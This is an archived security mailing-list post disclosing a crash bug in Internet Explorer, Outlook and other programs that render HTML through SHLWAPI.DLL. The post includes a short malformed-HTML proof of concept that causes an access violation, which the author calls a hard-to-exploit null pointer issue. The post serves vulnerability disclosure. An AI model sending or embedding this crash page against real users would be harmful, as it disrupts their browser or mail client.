IE / Outlook / MS SHLWAPI Render - more trivial crash

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Hola:

Well, as it seems that is the Microsoft Crash mounth, let see another one:

---------------------------------

<html>
<form>
<input type crash>
</form>
</html>

---------------------------------


This will crash IE with the following error:

"Unhandled exception in iexplore.exe (SHLWAPI.DLL): 0xC0000005: Access
Violation"

It's a null pointer overwrite, so it's not easly exploitable...


This HTML also crash Outlook, Frontpage, and all the Microsoft
programs that use the shlwapi.dll library to render web code.

Plain HTML is a dangerous language :)


-- 
Saludos,

 Ramon Pinuaga Cascales      
 mailto:rpinuaga@s21sec.com
 Analista de Seguridad Telematica
 Tfno: 620921960

--


[Index of Archives]     [Linux Security]     [Netfilter]     [PHP]     [Yosemite News]     [Linux Kernel]

  Powered by Linux